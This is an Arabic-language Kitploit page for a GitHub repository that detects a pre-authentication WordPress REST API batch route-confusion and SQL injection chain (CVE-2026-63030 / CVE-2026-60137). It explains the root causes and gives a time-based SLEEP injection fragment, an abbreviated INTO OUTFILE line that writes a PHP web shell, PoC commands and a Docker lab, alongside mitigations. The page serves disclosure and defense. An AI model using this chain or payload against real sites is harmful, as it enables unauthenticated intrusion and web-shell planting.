Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
wordpress-cve-2026-63030 — ثغرة RCE قبل المصادقة في نواة ووردبريس عبر الالتباس في مسار دُفعات REST API + ثغرة SQLi في WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC للكشف. | Kitploit
أدوات/GitHubGitHub/senanfurkan/wordpress-cve-2026-63030
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقتطوير الحمولات
GitHubsenanfurkan/wordpress-cve-2026-63030

wordpress-cve-2026-63030

ثغرة RCE قبل المصادقة في نواة ووردبريس عبر الالتباس في مسار دُفعات REST API + ثغرة SQLi في WP_Query (CVE-2026-63030 / CVE-2026-60137). PoC للكشف.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
4منذ شهر واحدلم تتم المراجعة بعد

WordPress REST API: التباس مسار الدُفعات + حقن SQL → RCE

قبل المصادقة — بدون مصادقة — ولا يتطلب أي إضافات. يعمل ضد تثبيت WordPress افتراضي عبر نقطة نهاية الدُفعات في REST API.

CVECVE-2026-63030 (التباس المسار → RCE) + CVE-2026-60137 (حقن SQL)
GHSAGHSA-ff9f-jf42-662q · GHSA-fpp7-x2x2-2mjf
المكتشفAdam Kues — Assetnote / Searchlight Cyber (أُطلق عليها اسم "wp2shell")
الإصدارات المتأثرةWordPress 6.9.0 – 6.9.4، 7.0.0 – 7.0.1 (سلسلة RCE كاملة) · 6.8.0 – 6.8.5 (حقن SQL فقط)
الإصدار المُصحَّح6.8.6، 6.9.5، 7.0.2، 7.1-beta2
CVSSحرِج (سلسلة RCE) / متوسط (حقن SQL منفردًا)
مدوّنة الباحثhttps://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/

1. نظرة عامة

ثغرتان في نواة WordPress، يمكن ربطهما معًا لتحقيق تنفيذ تعليمات برمجية عن بُعد بدون مصادقة:

  1. حقن SQL في WP_Query عندما تكون author__not_in نصًا (string) بدلاً من مصفوفة (array) — يتم تخطّي حارس التنقية is_array() ويتم إقحام القيمة الخام في جملة NOT IN (...).
  2. التباس مسار الدُفعات في WP_REST_Server::serve_batch_request_v1() — يتم دفع الطلبات الفرعية من نوع WP_Error إلى $validation[] ولكن ليس إلى $matches[]، مما يسبب إزاحة مؤشر بمقدار +1. ونتيجةً لذلك، يتم إرسال الطلب الفرعي i مع معالج الطلب الفرعي i+1.

لا تكفي أي من الثغرتين بمفردها: فـ REST API ينقّي author_exclude (type: array, items: integer) قبل وصوله إلى WP_Query، كما أن نقطة نهاية الدُفعات ترفض الطلبات الفرعية من نوع GET (enum: POST, PUT, PATCH, DELETE). وربطهما معًا عبر التباس مزدوج يتجاوز كلا الدفاعين ويصل إلى حقن SQL بدون مصادقة.

2. الأسباب الجذرية

2.1 حقن SQL — src/wp-includes/class-wp-query.php (CVE-2026-60137)

الإصدار المصاب (6.9.4):

root@kitploit:~
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {   // string → skipped
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
        sort( $query_vars['author__not_in'] );
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
    $where         .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";
}

عندما تكون author__not_in نصًا، يتم تخطّي فرع is_array()؛ وتُقيَّم (array) "payload" إلى ["payload"]؛ وتُعيد implode(',', ...) النص الخام الذي يُقحَم مباشرةً في استعلام SQL.

الإصلاح (6.9.5): استخدام wp_parse_id_list() التي تقبل أي شكل من أشكال الإدخال وتُعيد قائمة أعداد صحيحة منقّاة.

2.2 التباس مسار الدُفعات — src/wp-includes/rest-api/class-wp-rest-server.php (CVE-2026-63030)

root@kitploit:~
// Validation loop
foreach ( $requests as $single_request ) {
    if ( is_wp_error( $single_request ) ) {
        $has_error    = true;
                       // ❌  $matches[] NOT appended
        $validation[] = $single_request;
        continue;
    }
    $match     = $this->match_request_to_handler( $single_request );
    $matches[] = $match;
    ...
}

// Dispatch loop  —  indexes $matches[$i] with the ORIGINAL $i
foreach ( $requests as $i => $single_request ) {
    ...
    $match = $matches[ $i ];          // ← off-by-one after a WP_Error
    list( $route, $handler ) = $match;
    $result = $this->respond_to_request( $single_request, $route, $handler, $error );
}

طلب فرعي واحد من نوع WP_Error (مثل مسار غير صالح) في الموضع 0 يُزيح كل الإدخالات التالية بمقدار واحد. وعندها يُرسَل الطلب i مع معالج الطلب i+1.

الإصلاح (6.9.5): إلحاق $matches[] = $single_request; في حالة الخطأ أيضًا. كما يضيف تحصين إضافي (hardening) توقّفًا مبكرًا لـ rest_api_loaded() / serve_request() بينما يكون الإرسال قيد التنفيذ بالفعل.

3. سلسلة الالتباس المزدوج

root@kitploit:~
┌──────────────────────────────────────────────────────────────────────┐
│  OUTER batch  (POST /wp-json/batch/v1)                              │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  path = "/wp/v2/categories" → carries nested batch in body     │
│         body = { "name": "x",                                       │
│                   "requests": [ INNER_BATCH ] }                     │
│         Validated against categories → "requests" field untouched   │
│  [2]  path = "/batch/v1"        → batch handler → shifts onto [1]   │
│                                                                     │
│  Outer shift: request[1] dispatched with request[2]'s handler =     │
│  serve_batch_request_v1.  The batch endpoint has NO                 │
│  permission_callback → fires unauthenticated.  request[1]'s body    │
│  was validated against the *categories* route, so the nested        │
│  sub-requests were NEVER checked against the batch method enum →    │
│  inner sub-requests may use GET.                                    │
├──────────────────────────────────────────────────────────────────────┤
│  INNER batch  (processed inside serve_batch_request_v1)             │
│                                                                     │
│  [0]  path = "http://"          → WP_Error, NOT in $matches         │
│  [1]  GET /wp/v2/categories                                      │
│         ?author_exclude=<SQLi_PAYLOAD>                             │
│       Validated against categories → author_exclude NOT sanitised   │
│  [2]  GET /wp/v2/posts          → get_items handler → shifts to [1]│
│                                                                     │
│  Inner shift: inner[1] dispatched with inner[2]'s handler =        │
│  WP_REST_Posts_Controller::get_items.  The unsanitised string       │
│  author_exclude is mapped to author__not_in and passed to           │
│  WP_Query  →  SQL INJECTION.                                        │
└──────────────────────────────────────────────────────────────────────┘

جزء SQL الناتج هو:

root@kitploit:~
AND wp_posts.post_author NOT IN ( 1) OR SLEEP(N)-- - )

يتم تنفيذ SLEEP(N) مرة واحدة لكل صف مقالة مطابق، لذا يكون التأخير الإجمالي حوالي N × <عدد_المقالات_المنشورة> ثانية.

من حقن SQL إلى RCE ("wp2shell")

حقن SELECT فقط (بدون استعلامات متراصة (stacked queries)، إذ يستخدم $wpdb الدالة mysqli_query) ما زال يحقق RCE على حزم LAMP النموذجية عندما يمتلك مستخدم MySQL صلاحية FILE — وهو الإعداد الافتراضي لدى العديد من مزوّدي الاستضافة المشتركة والخوادم المُدارة ذاتيًا:

root@kitploit:~
1) UNION SELECT 0x3C3F70687020...3F3E INTO OUTFILE '/var/www/html/x.php'/*

يكتب قشرة ويب PHP في جذر الويب، يمكن الوصول إليها عبر /x.php.

تشمل المسارات البديلة (بدون الحاجة إلى صلاحية FILE) قراءة تجزئة كلمة مرور المدير عبر حقن SQL أعمى بـ UNION/منطقي (boolean) وتحميل إضافة خبيثة من خلال واجهة لوحة الإدارة المُوثَّقة.

4. الكشف / إثبات المفهوم (PoC)

root@kitploit:~
usage: poc_wp_batch_sqli.py [-h] -t TARGET [--sleep SLEEP]
                            [--confusion-only] [--no-color] [-v]

ينفّذ إثبات المفهوم اختبارين غير مُدمِّرين:

الاختبارالطريقةآمن؟
التباس المسار (CVE-2026-63030)
root@kitploit:~
# basic usage
python3 poc_wp_batch_sqli.py -t http://target/

# shorter SLEEP for faster triage
python3 poc_wp_batch_sqli.py -t http://target/ --sleep 3

# structural route-confusion test only (no SLEEP)
python3 poc_wp_batch_sqli.py -t http://target/ --confusion-only

# verbose / no colour
python3 poc_wp_batch_sqli.py -t http://target/ -v --no-color

مثال على المخرجات ضد نسخة 6.9.4 مصابة:

root@kitploit:~
[+] CONFIRMED — inner request[1] (categories) returned POSTS data.
    Double confusion active: outer level bypasses batch method enum,
    inner level dispatches categories params with the posts handler.

[*] Time-based blind SQLi detection (SLEEP=3s)
    baseline: 0.04s
    payload:  9.07s  (Δ +9.02s)
[+] VULNERABLE — response delayed by 9.0s (≈ 3 post row(s) × SLEEP(3)).

لا تأخير / لا التباس بنيوي ⇒ مُصحَّح (6.8.6 / 6.9.5 / 7.0.2).

المتطلبات

  • Python ≥ 3.9
  • requests (pip install requests)

5. إعادة الإنتاج

أسهل طريقة لإعادة الإنتاج هي استخدام صور Docker الرسمية (سيكون المحدّث التلقائي قد صحّح معظم المواقع المباشرة خلال ساعات من الإفصاح):

root@kitploit:~
docker network create wp
docker run -d --name wp-db --network wp \
  -e MARIADB_ROOT_PASSWORD=wp -e MARIADB_DATABASE=wp \
  -e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp-app --network wp -p 8888:80 \
  -e WORDPRESS_DB_HOST=wp-db -e WORDPRESS_DB_USER=wp \
  -e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp \
  wordpress:6.9.4-php8.2

# run the installer (or use wp-cli)
curl "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode weblog_title=T \
  --data-urlencode user_name=admin \
  --data-urlencode admin_password=adminpassword123 \
  --data-urlencode admin_password2=adminpassword123 \
  --data-urlencode pw_weak=1 \
  --data-urlencode [email protected] \
  --data-urlencode blog_public=0

python3 poc_wp_batch_sqli.py -t http://localhost:8888/ --sleep 3

لخطوة INTO OUTFILE → RCE، امنح صلاحية FILE وتأكد من أن عملية قاعدة البيانات يمكنها الكتابة في جذر الويب (خادم LAMP أحادي، أو مجلد مشترك في Docker):

root@kitploit:~
GRANT FILE ON *.* TO 'wp'@'%';

6. التخفيف

  1. حدّث فورًا إلى 6.8.6 / 6.9.5 / 7.0.2 (أو أحدث). يطبّق WordPress الإصدارات الثانوية/الأمنية تلقائيًا افتراضيًا (WP_AUTO_UPDATE_CORE)، لذا فإن معظم المواقع المباشرة مُصحَّحة بالفعل.
  2. إذا لم تتمكن من التحديث الآن، امنع الوصول المجهول إلى نقطة نهاية الدُفعات على مستوى WAF / الخادم الوسيط (reverse proxy):
    • POST /wp-json/batch/v1
    • POST /index.php?rest_route=/batch/v1
  3. ألغِ صلاحية FILE من مستخدم قاعدة بيانات WordPress:
    root@kitploit:~
    REVOKE FILE ON *.* FROM 'wp_user'@'%';
    
  4. تأكد من تعيين secure_file_priv (وليس فارغًا):
    root@kitploit:~
    secure_file_priv = /var/lib/mysql-files
    

7. الجدول الزمني

التاريخالحدث
2026-07-17إصدار WordPress 6.8.6 / 6.9.5 / 7.0.2
2026-07-17نشر GHSA-ff9f-jf42-662q + GHSA-fpp7-x2x2-2mjf
2026-07-17Assetnote / Searchlight Cyber تنشر استشارة "wp2shell" + أداة الفحص https://wp2shell.com

8. المراجع

  • استشارات WordPress
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ff9f-jf42-662q
    • https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-fpp7-x2x2-2mjf
  • المقال التحليلي للمكتشف
    • https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
  • فارق التصحيح (6.9.4 → 6.9.5)
    • src/wp-includes/class-wp-query.php
    • src/wp-includes/rest-api.php
    • src/wp-includes/rest-api/class-wp-rest-server.php
  • موقع أداة الفحص
    • https://wp2shell.com/

9. الإفصاح المسؤول

يحتوي هذا المستودع على إثبات مفهوم للكشف فقط — يستخدم حقن SQL أعمى زمني وفحصًا بنيويًا للاستجابة. وهو لا يستخرج البيانات ولا يكتب ملفات ولا يحاول تنفيذ RCE. لقد سبق تصحيح الثغرة والإفصاح عنها علنًا من قبل WordPress والباحث الأصلي قبل نشر هذا الكود.

لا تستخدمه إلا ضد الأنظمة التي تملكها أو المخوَّل لك اختبارها.

الترخيص

MIT — راجع LICENSE.

تنزيل الأداة
بنيوي — يتحقق من أن الطلب الفرعي الداخلي [1] (categories) يُرسَل مع معالج المقالات (posts) عبر فحص جسم الاستجابة بحثًا عن حقول خاصة بالمقالات فقط
نعم
حقن SQL (CVE-2026-60137)أعمى زمني — يحقن SLEEP(N) عبر author_exclude ويقيس زمن الاستجابة مقارنةً بخط أساس سليمنعم